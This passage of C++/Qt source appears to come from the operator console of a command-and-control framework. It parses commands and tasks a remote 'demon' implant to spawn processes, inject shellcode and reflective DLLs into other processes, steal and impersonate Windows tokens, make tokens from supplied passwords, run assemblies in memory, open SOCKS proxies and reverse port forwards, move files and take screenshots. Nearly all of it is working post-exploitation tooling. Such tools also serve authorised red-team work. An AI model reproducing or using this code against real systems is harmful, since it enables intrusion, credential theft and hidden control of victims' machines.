"\""; for (int i = Index; i < InputCommands.length(); ++i) { Args += " " + InputCommands[ i ]; } if ( Flags.compare( "4" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to spawn a process in suspended state: " + Program ); } else { TaskID = CONSOLE_INFO( "Tasked demon to spawn a process: " + Program ); } Args = Args.toUtf8().toBase64(); CommandInputList[ TaskID ] = commandline; SEND( Execute.ProcModule( TaskID, 4, Flags + ";" + Verbose + ";" + Piped + ";" + Program + ";" + Args ) ) } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); } } else if ( InputCommands[ 1 ].compare( "blockdll" ) == 0 ) { if ( InputCommands.length() >= 3 ) { if ( InputCommands[ 2 ].compare( "on" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to enable blocking non microsoft signed dlls" ); } else if ( InputCommands[ 2 ].compare( "off" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to disable blocking non microsoft signed dlls" ); } else { CONSOLE_ERROR( "Argument not valid" ); return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.ProcModule( TaskID, 5, InputCommands[ 2 ] ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 1 ].compare( "kill" ) == 0 ) { if ( InputCommands.size() >= 3 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to kill a process" ); CommandInputList[ TaskID ] = commandline; if ( ! is_number( InputCommands[ 2 ].toStdString() ) ) { CONSOLE_ERROR( "Specified process id to kill is not a number." ) return false; } SEND( Execute.ProcModule( TaskID, 7, InputCommands[ 2 ] ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 1 ].compare( "memory" ) == 0 ) { if ( InputCommands.size() >= 4 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to query for" + InputCommands[ 3 ] + " memory regions from " + InputCommands[ 2 ] ); CommandInputList[ TaskID ] = commandline; if ( Send ) Execute.ProcModule( TaskID, 6, InputCommands[ 2 ] + " " + InputCommands[ 3 ] ); } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else { CONSOLE_ERROR( "Modules command not found: " + InputCommands[ 1 ] ); return false; } } else if ( InputCommands[ 0 ].compare( "ps" ) == 0 ) { if ( InputCommands.size() != 1 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } // same as 'proc list' TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to enumerate and list all processes" ); CommandInputList[ TaskID ] = commandline; if ( Send ) Execute.ProcList( TaskID, false ); } else if ( InputCommands[ 0 ].compare( "dll" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands[ 1 ].compare( "inject" ) == 0 ) { // dll inject [target pid] [/path/to/shellcode.x64.bin] if ( InputCommands.size() < 4 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } auto Pid = InputCommands[ 2 ]; auto Path = InputCommands[ 3 ]; auto Args = QString(); if ( InputCommands.size() > 4 ) { Args = JoinAtIndex( InputCommands, 4 ); } if ( ! QFile::exists( Path ) ) { CONSOLE_ERROR( "Specified reflective dll file not found" ) return false; } TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to inject a reflective dll: " + Path ); CommandInputList[ TaskID ] = commandline; SEND( Execute.DllInject( TaskID, Pid, Path, Args ) ) } else if ( InputCommands[ 1 ].compare( "spawn" ) == 0 ) { // dll spawn [path] [arguments] if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } auto Path = InputCommands[ 2 ]; auto Args = QString(); if ( InputCommands.size() >= 3 ) { Args = JoinAtIndex( InputCommands, 3 ); } if ( ! QFile::exists( Path ) ) { CONSOLE_ERROR( "Specified reflective dll file not found" ) return false; } TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to spawn a reflective dll: " + Path ); CommandInputList[ TaskID ] = commandline; SEND( Execute.DllSpawn( TaskID, Path, Args.toLocal8Bit() ) ) } } else if ( InputCommands[ 0 ].compare( "shellcode" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands[ 1 ] .compare( "inject" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to inject shellcode into a remote process" ); if ( InputCommands.size() >= 5 ) { auto TargetArch = InputCommands[ 2 ]; auto TargetPID = InputCommands[ 3 ]; auto Shellcode = QString( ( InputCommands.begin() + 4 )->toStdString().c_str() ); if ( ! QFile::exists( Shellcode ) ) { CONSOLE_ERROR( "Specified file not found" ) return false; } if ( TargetArch.compare( "x64" ) != 0 && TargetArch.compare( "x86" ) != 0 ) { CONSOLE_ERROR( "Incorrect process arch specified: " + TargetArch ) return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.ShellcodeInject( TaskID, "default", TargetPID, TargetArch, Shellcode, "" ) ); } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 1 ].compare( "spawn" ) == 0 ) { if ( InputCommands.size() >= 4 ) { auto TargetArch = InputCommands[ 2 ]; auto ShellcodeBinaryPath = InputCommands[ 3 ]; if ( TargetArch.compare( "x64" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to fork and inject a x64 shellcode" ); } else if ( TargetArch.compare( "x86" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to fork and inject a x86 shellcode" ); } else { CONSOLE_ERROR( "Incorrect process arch specified: " + TargetArch ) } if ( ! QFile::exists( ShellcodeBinaryPath ) ) { CONSOLE_ERROR( "Couldn't find specified binary: " + ShellcodeBinaryPath ) return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.ShellcodeSpawn( TaskID, "default", TargetArch, ShellcodeBinaryPath, "" ); ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 1 ].compare( "execute" ) == 0 ) { if ( InputCommands.size() >= 4 ) { auto TargetArch = InputCommands[ 2 ]; auto ShellcodeBinaryPath = InputCommands[ 3 ]; if ( TargetArch.compare( "x64" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to self inject a x64 shellcode" ); } else if ( TargetArch.compare( "x86" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to self inject a x86 shellcode" ); } else { CONSOLE_ERROR( "Incorrect process arch specified: " + TargetArch ) } if ( ! QFile::exists( ShellcodeBinaryPath ) ) { CONSOLE_ERROR( "Couldn't find specified binary: " + ShellcodeBinaryPath ) return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.ShellcodeExecute( TaskID, "default", TargetArch, ShellcodeBinaryPath, "" ); ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } } // NOTE: this function is only for debug purpose only. don't forget to remove this on final release else if ( InputCommands[0].compare( "__debug" ) == 0 ) { if (InputCommands.size() == 1) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if (InputCommands[1].compare("dump-text") == 0) { QFile filecontent("/tmp/TextEdit-dump.txt"); filecontent.open(QFile::Append | QFile::Text); filecontent.write(DemonConsole->Console->toPlainText().toStdString().c_str()); filecontent.close(); } else if (InputCommands[1].compare("dump-html") == 0) { QFile filecontent("/tmp/TextEdit-dump-html.html"); filecontent.open(QFile::Append | QFile::Text); filecontent.write(DemonConsole->Console->toHtml().toStdString().c_str()); filecontent.close(); } } else if ( InputCommands[ 0 ].compare( "token" ) == 0 ) { if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands[ 1 ].compare( "impersonate" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } auto TokenID = InputCommands[ 2 ]; TaskID = CONSOLE_INFO( "Tasked demon to impersonate a process token" ); CommandInputList[TaskID] = commandline; SEND( Execute.Token( TaskID, "impersonate", TokenID ); ) } else if ( InputCommands[ 1 ].compare( "steal" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 4 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } auto TargetProcessID = InputCommands[ 2 ]; QString TargetHandle = "0"; if ( InputCommands.size() == 4 ) { TargetHandle = InputCommands[ 3 ]; } TaskID = CONSOLE_INFO( "Tasked demon to steal a process token" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "steal", TargetProcessID + ";" + TargetHandle ) ); } else if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to list token vault" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "list", "" ) ); } else if ( InputCommands[ 1 ].compare( "find" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to find tokens" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "find", "" ) ); } else if ( InputCommands[ 1 ].compare( "make" ) == 0 ) { if ( InputCommands.size() < 5 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 6 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } // token make Domain\user password auto Domain = QString(); auto User = QString(); auto Password = QString(); auto LogonType = QString(); // token make domain user password Domain = InputCommands[ 2 ]; User = InputCommands[ 3 ]; Password = InputCommands[ 4 ]; if ( InputCommands.size() == 6 ) { if ( InputCommands[ 5 ].compare( "LOGON_INTERACTIVE" ) == 0 ) LogonType = "2"; else if ( InputCommands[ 5 ].compare( "LOGON_NETWORK" ) == 0 ) LogonType = "3"; else if ( InputCommands[ 5 ].compare( "LOGON_BATCH" ) == 0 ) LogonType = "4"; else if ( InputCommands[ 5 ].compare( "LOGON_SERVICE" ) == 0 ) LogonType = "5"; else if ( InputCommands[ 5 ].compare( "LOGON_UNLOCK" ) == 0 ) LogonType = "7"; else if ( InputCommands[ 5 ].compare( "LOGON_NETWORK_CLEARTEXT" ) == 0 ) LogonType = "8"; else if ( InputCommands[ 5 ].compare( "LOGON_NEW_CREDENTIALS" ) == 0 ) LogonType = "9"; else { CONSOLE_ERROR( "Invalid token type" ) return false; } } else { // default: LOGON_NEW_CREDENTIALS LogonType = "9"; } TaskID = CONSOLE_INFO( "Tasked demon to make a new network token for " + Domain + "\\" + User ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "make", Domain.toLocal8Bit().toBase64() + ";" + User.toLocal8Bit().toBase64() + ";" + Password.toLocal8Bit().toBase64() + ";" + LogonType ) ); } else if ( InputCommands[ 1 ].compare( "revert" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to revert the process token" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "revert", "" ) ); } else if ( InputCommands[ 1 ].compare( "remove" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } auto TargetProcessID = InputCommands[ 2 ]; TaskID = CONSOLE_INFO( "Tasked demon to remove a token from the token vault" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "remove", TargetProcessID ) ); } else if ( InputCommands[ 1 ].compare( "clear" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to clear token vault" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "clear", "" ) ) } else if ( InputCommands[ 1 ].compare( "getuid" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to get current user id" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "getuid", "" ) ) } else if ( InputCommands[ 1 ].compare( "privs-list" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to list current token privileges" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "privs-list", "" ) ); } else if ( InputCommands[ 1 ].compare( "privs-get" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 4 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to enable a privilege: " + InputCommands[ 2 ] ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "privs-get", InputCommands[ 2 ] ) ); } else { CONSOLE_ERROR( "Module command not found" ) return false; } } else if ( InputCommands[ 0 ].compare( "inline-execute" ) == 0 ) { if ( InputCommands.length() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } auto Path = InputCommands[ 1 ]; auto Args = QByteArray(); if ( InputCommands.size() > 3 ) { // NOTE: the 'dotnet inline-execute assembly.exe (args)' command does not need to escape quotes Args = JoinAtIndex( commandline.split( " " ), 3 ).toUtf8(); } if ( ! QFile::exists( Path ) ) { CONSOLE_ERROR( "Specified object file not found: " + Path ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to execute an object file: " + Path ); CommandInputList[ TaskID ] = commandline; SEND( Execute.InlineExecute( TaskID, "go", Path, Args, "default" ); ) } else if ( InputCommands[ 0 ].compare( "dotnet" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } else if ( InputCommands[ 1 ].compare( "inline-execute" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } auto File = InputCommands[ 2 ]; auto Args = QString(); // dotnet inline-execute assembly.exe (args) if ( InputCommands.size() > 3 ) { InputCommands[ 0 ] = ""; InputCommands[ 1 ] = ""; InputCommands[ 2 ] = ""; Args = InputCommands.join( " " ); } if ( ! QFile::exists( File ) ) { CONSOLE_ERROR( "Couldn't find assembly file: " + File ); return false; } TaskID = DemonConsole->TaskInfo(Send, nullptr, "Tasked demon to inline execute a dotnet assembly: " + File); CommandInputList[TaskID] = commandline; if (Send) Execute.AssemblyInlineExecute(TaskID, File, Args); } else if ( InputCommands[ 1 ].compare( "list-versions" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to list available dotnet versions" ); CommandInputList[TaskID] = commandline; SEND( Execute.AssemblyListVersions( TaskID ) ) } else { goto CheckRegisteredCommands; } } else if ( InputCommands[ 0 ].compare( "rportfwd" ) == 0 ) { if ( InputCommands.size() <= 1 ) { CONSOLE_ERROR( "Not enough arguments for \"rportfwd\"" ) return false; } if ( InputCommands[ 1 ].compare( "add" ) == 0 ) { auto LclAddr = QString(); auto LclPort = QString(); auto FwdAddr = QString(); auto FwdPort = QString(); if ( InputCommands.size() < 6 ) { CONSOLE_ERROR( "Not enough arguments for \"rportfwd add\"" ) return false; } LclAddr = InputCommands[ 2 ]; LclPort = InputCommands[ 3 ]; FwdAddr = InputCommands[ 4 ]; FwdPort = InputCommands[ 5 ]; TaskID = CONSOLE_INFO( "Tasked demon to start a reverse port forward " + LclAddr + ":" + LclPort + " to " + FwdAddr + ":" + FwdPort ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "rportfwd add", LclAddr + ";" + LclPort + ";" + FwdAddr + ";" + FwdPort ) ) } else if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to list all reverse port forwards" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "rportfwd list", "" ) ) } else if ( InputCommands[ 1 ].compare( "remove" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments for \"rportfwd remove\"" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to close and remove a reverse port forward " + InputCommands[ 2 ] ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "rportfwd remove", InputCommands[ 2 ] ) ) } else if ( InputCommands[ 1 ].compare( "clear" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to close and clear all reverse port forwards" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "rportfwd clear", "" ) ) } } else if ( InputCommands[ 0 ].compare( "socks" ) == 0 ) { if ( InputCommands.size() <= 1 ) { CONSOLE_ERROR( "Not enough arguments for \"socks\"" ) return false; } if ( InputCommands[ 1 ].compare( "add" ) == 0 ) { auto Port = QString(); if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments for \"socks add\"" ) return false; } Port = InputCommands[ 2 ]; TaskID = Util::gen_random( 8 ).c_str(); CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "socks add", Port ) ) } else if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = Util::gen_random( 8 ).c_str(); CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "socks list", "" ) ) } else if ( InputCommands[ 1 ].compare( "kill" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments for \"socks kill\"" ) return false; } TaskID = Util::gen_random( 8 ).c_str(); CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "socks kill", InputCommands[ 2 ] ) ) } else if ( InputCommands[ 1 ].compare( "clear" ) == 0 ) { TaskID = Util::gen_random( 8 ).c_str(); CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "socks clear", "" ) ) } } else if ( InputCommands[ 0 ].compare( "transfer" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments for \"transfer\"" ) return false; } if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to list current downloads" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Transfer( TaskID, "list", "" ) ) } else if ( InputCommands[ 1 ].compare( "stop" ) == 0 ) { if ( InputCommands.size() <= 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to stop a download" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Transfer( TaskID, "stop", InputCommands[ 2 ] ) ) } else if ( InputCommands[ 1 ].compare( "resume" ) == 0 ) { if ( InputCommands.size() <= 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to resume a download" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Transfer( TaskID, "resume", InputCommands[ 2 ] ) ) } else if ( InputCommands[ 1 ].compare( "remove" ) == 0 ) { if ( InputCommands.size() <= 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to stop and remove a download" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Transfer( TaskID, "remove", InputCommands[ 2 ] ) ) } } else if ( InputCommands[ 0 ].compare( "download" ) == 0 ) { if ( InputCommands.size() >= 2 ) { auto FilePath = JoinAtIndex( InputCommands, 1 ); TaskID = CONSOLE_INFO( "Tasked demon to download a file " + FilePath ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "download", FilePath.toLocal8Bit().toBase64() ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 0 ].compare( "cat" ) == 0 || InputCommands[ 0 ].compare( "type" ) == 0 ) { if ( InputCommands.size() >= 2 ) { auto FilePath = JoinAtIndex( InputCommands, 1 ); TaskID = CONSOLE_INFO( "Tasked demon to display content of " + FilePath ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "cat", FilePath.toLocal8Bit().toBase64() ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 0 ].compare( "upload" ) == 0 ) { if ( InputCommands.size() >= 2 ) { auto FilePath = InputCommands[ 1 ]; auto Content = FileRead( FilePath ); auto RemotePath = QString(); if ( Content == nullptr ) return false; auto FileName = FilePath.mid( FilePath.lastIndexOf("/") + 1, FilePath.size() - FilePath.lastIndexOf("/") - 1 ); // if no remote path was specified, upload the file with the same name to the current directory if ( InputCommands.size() == 2 ) { RemotePath = FileName; } else { RemotePath = JoinAtIndex( InputCommands, 2 ); // if the remote path does not contain the filename, use the same as the local path if ( RemotePath.endsWith("\\", Qt::CaseInsensitive) ) { RemotePath = RemotePath + FileName; } } TaskID = CONSOLE_INFO( "Tasked demon to upload a file " + FilePath + " to " + RemotePath ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "upload", RemotePath.toLocal8Bit().toBase64() + ";" + Content.toBase64() ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 0 ].compare( "powershell" ) == 0 ) { if ( InputCommands.length() > 1 ) { auto Program = QString("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"); // NOTE: the 'powershell' command does not need to escape quotes auto Args = QString( "-C " + JoinAtIndex( commandline.split( " " ), 1 ) ).toUtf8().toBase64(); TaskID = CONSOLE_INFO( "Tasked demon to execute a powershell command/script" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.ProcModule( TaskID, 4, "0;FALSE;TRUE;" + Program + ";" + Args ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) } } else if ( InputCommands[ 0 ].compare( "config" ) == 0 ) { if ( InputCommands.size() > 1 ) { if ( InputCommands[ 1 ].compare( "implant.sleep-mask" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands[ 2 ].compare( "true" ) != 0 && InputCommands[ 2 ].compare( "false" ) != 0 ) { CONSOLE_ERROR( "Wrong arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure sleep-mask: " + InputCommands[ 2 ] ); } if ( InputCommands[ 1 ].compare( "implant.coffee.veh" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands[ 2 ].compare( "true" ) != 0 && InputCommands[ 2 ].compare( "false" ) != 0 ) { CONSOLE_ERROR( "Wrong arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure coffee VEH: " + InputCommands[ 2 ] ); } if ( InputCommands[ 1 ].compare( "implant.coffee.threaded" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands[ 2 ].compare( "true" ) != 0 && InputCommands[ 2 ].compare( "false" ) != 0 ) { CONSOLE_ERROR( "Wrong arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure coffee threading: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "implant.verbose" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands[ 2 ].compare( "true" ) != 0 && InputCommands[ 2 ].compare( "false" ) != 0 ) { CONSOLE_ERROR( "Wrong arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure verbose messaging: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "implant.sleep-obf" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands[ 2 ].compare( "true" ) != 0 && InputCommands[ 2 ].compare( "false" ) != 0 ) { CONSOLE_ERROR( "Wrong arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to enable/disable sleep-obf: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "implant.sleep-obf.technique" ) == 0 ) { CONSOLE_ERROR( "Not implemented" ); return false; } else if ( InputCommands[ 1 ].compare( "implant.sleep-obf.start-addr" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( ! is_number( InputCommands[ 2 ].toStdString() ) ) { CONSOLE_ERROR( "Wrong argument: Is not a number" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure sleep-mask thread start addr: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "memory.alloc" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( ! is_number( InputCommands[ 2 ].toStdString() ) ) { CONSOLE_ERROR( "Wrong argument: Is not a number" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure memory allocation: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "memory.execute" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( ! is_number( InputCommands[ 2 ].toStdString() ) ) { CONSOLE_ERROR( "Wrong argument: Is not a number" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure memory execution: " + InputCommands[ 2 ] ); } /* else if ( InputCommands[ 1 ].compare( "inject.technique" ) == 0 ) // TODO: figure out how to implement this right. { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( ! is_number( InputCommands[ 2 ].toStdString() ) ) { CONSOLE_ERROR( "Wrong argument: Is not a number" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure injection technique: " + InputCommands[ 2 ] ); } */ else if ( InputCommands[ 1 ].compare( "inject.spoofaddr" ) == 0 ) // TODO: finish this { CONSOLE_ERROR( "Not implemented" ); return false; } else if ( InputCommands[ 1 ].compare( "inject.spawn64" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; TaskID = CONSOLE_INFO( "Tasked demon to configure default x64 target process: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "inject.spawn32" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; TaskID = CONSOLE_INFO( "Tasked demon to configure default x86 target process: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "killdate" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands.size() > 4 ) { CONSOLE_ERROR( "Too many arguments" ); return false; }; if ( InputCommands.size() == 4 ) { InputCommands[ 2 ] = InputCommands[ 2 ] + " " + InputCommands[ 3 ]; }; if ( InputCommands.size() == 3 && InputCommands[ 2 ].compare( "0" ) != 0 ) { CONSOLE_ERROR( "Invalid arguments" ); return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure the KillDate: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "workinghours" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands.size() > 3 ) { CONSOLE_ERROR( "Too many arguments" ); return false; }; TaskID = CONSOLE_INFO( "Tasked demon to configure the working hours: " + InputCommands[ 2 ] ); } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Config does not exist" ); return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.Config( TaskID, InputCommands[ 1 ], InputCommands[ 2 ] ) ); } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); } } else if ( InputCommands[ 0 ].compare( "screenshot" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to take a screenshot" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Screenshot( TaskID ) ) } else if ( InputCommands[ 0 ].compare( "net" ) == 0 ) { if ( InputCommands.size() >= 2 ) { auto Command = QString(); auto Param = QString(); Param = "\\\\localhost"; if ( InputCommands[ 1 ].compare( "domain" ) == 0 ) { Command = "1"; TaskID = CONSOLE_INFO( "Tasked demon to display domain for this host" ); Param = ""; } else if ( InputCommands[ 1 ].compare( "logons" ) == 0 ) { Command = "2"; TaskID = CONSOLE_INFO( "Tasked demon to lists users logged onto a host" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; } else if ( InputCommands[ 1 ].compare( "sessions" ) == 0 ) { Command = "3"; TaskID = CONSOLE_INFO( "Tasked demon to lists sessions on a host" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; } /*else if ( InputCommands[ 1 ].compare( "computers" ) == 0 ) { Command = "4"; TaskID = CONSOLE_INFO( "Tasked demon to lists computer in a domain (groups)" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; } else if ( InputCommands[ 1 ].compare( "dclist" ) == 0 ) { Command = "5"; TaskID = CONSOLE_INFO( "Tasked demon to lists domain controllers" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; }*/ else if ( InputCommands[ 1 ].compare( "share" ) == 0 ) { Command = "6"; TaskID = CONSOLE_INFO( "Tasked demon to lists shares on a host" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; } else if ( InputCommands[ 1 ].compare( "localgroup" ) == 0 ) { Command = "7"; TaskID = CONSOLE_INFO( "Tasked demon to lists local groups and users in local groups" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; } else if ( InputCommands[ 1 ].compare( "group" ) == 0 ) { Command = "8"; TaskID = CONSOLE_INFO( "Tasked demon to lists groups and users in groups" ); if ( InputCommands.size() >= 3 ) Param = InputCommands[ 2 ]; } else if ( InputCommands[ 1 ].compare( "users" ) == 0 ) { Command = "9"; TaskID = CONSOLE_INFO( "Tasked demon to lists users and user information" ); if ( InputCommands.size() >= 3 ) Param = InputCommands[ 2 ]; } else { CONSOLE_ERROR( "Command not found: " + InputCommands.join( ' ' ) ) return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.Net( TaskID, Command, Param ) ) } else { CONSOLE_ERROR( "No sub command specified" ) } } else if ( InputCommands[ 0 ].compare( "pivot" ) == 0 ) { if ( InputCommands.size() > 1 ) { auto Command = QString(); auto Param = QString(); if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { 